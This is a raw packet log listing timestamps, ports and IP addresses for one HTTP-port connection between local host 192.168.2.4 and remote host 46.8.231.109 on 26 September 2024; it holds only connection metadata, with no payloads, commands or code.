Sep 26, 2024 19:05:18.410227060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410249949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410249949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410284042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410479069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410517931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410528898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410537958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410563946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410563946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410629988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410643101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410662889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410674095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410684109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410684109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410712004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410736084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410887003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410898924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410919905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410929918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410938025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410938025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410950899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410959005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.410962105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410980940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.410991907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411007881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411007881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411011934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411050081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411050081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411222935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411240101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411252022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411273003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411273003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411346912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411350965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411364079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411403894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411405087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411427021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411442995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411448002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411457062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411463022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411473989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411485910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411495924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411514997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411514997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411564112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411814928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411827087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411847115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411861897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411876917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411876917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411881924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411894083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411905050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411916018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411927938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411928892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411936998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411950111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.411959887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411983967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.411983967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412178040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412188053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412213087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412220955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412220955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412224054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412240982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412246943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412261009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412271976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412275076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412293911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.412302971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412303925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.412348986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.493808985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.493837118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.493849039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.493913889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.493915081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.493913889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.493928909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.493980885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.493980885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494029999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494043112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494064093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494071960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494085073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494116068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494155884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494165897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494184971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494201899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494210005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494224072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494288921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494299889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494321108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494333029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494350910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494350910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494350910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494354010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494364977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494374990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494435072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494612932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494623899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494643927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494661093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494678020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494680882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494680882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494690895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494724035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494724035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494885921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494896889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494916916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494950056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494950056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494952917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494973898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494986057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.494998932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.494998932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495012999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495107889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495162964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495173931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495193005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495204926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495218039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495218039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495223999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495270967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495270967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495270967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495455980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495470047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495486975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495501041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495516062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495516062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495526075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495538950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495557070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495557070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495558977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495570898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495584011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495584011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495590925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495598078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495600939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495620012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495662928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495662928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495662928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495662928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495826006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495836020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495863914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495891094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495907068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495918989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495929956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495929956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495938063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495954037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.495961905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495961905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.495970964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496014118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496014118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496014118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496197939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496211052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496242046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496253967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496265888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496265888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496275902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496285915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496295929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496295929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496309042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496318102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496344090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496344090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496375084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496540070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496552944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496572018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496583939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496583939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496597052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496654987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496659994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496673107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496690035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496701956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496716976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496726990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496727943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496736050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496747017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496757984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496764898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496787071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496798038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496798992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496798992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496820927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.496848106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496848106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.496876955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497174025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497250080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497260094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497273922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497303963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497303963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497333050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497343063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497364998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497383118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497390032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497390032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497421980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497421980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497571945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497582912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497601986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497617960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497632027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497634888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497634888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497658014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497669935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497673035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497689962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497700930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497720003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497720003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497765064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.497936010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497946978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497972012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.497982025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498003006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498003960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498003960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498016119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498034954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498042107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498049974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498053074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498069048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498080969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498094082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498094082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498100996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498128891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498128891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498275042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498445034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498456955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498482943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498498917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498502016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498514891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498529911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498529911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498531103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498544931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498553038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498568058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498577118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498577118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498615980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498615980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498768091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498780012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498806000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498816967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498820066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498821020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498838902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498852015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.498861074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498861074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498883963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.498883963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.499054909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.499078035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.499089956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.499105930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.499120951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.499120951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.499120951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.499144077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.499162912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.580737114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580750942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580773115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580849886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580862045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580882072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580897093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580959082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.580959082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.580959082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.580959082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.580959082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.580985069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.580996990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581016064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581023932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581023932 CEST	49735	80	192.168.2.4	46.8.231.109
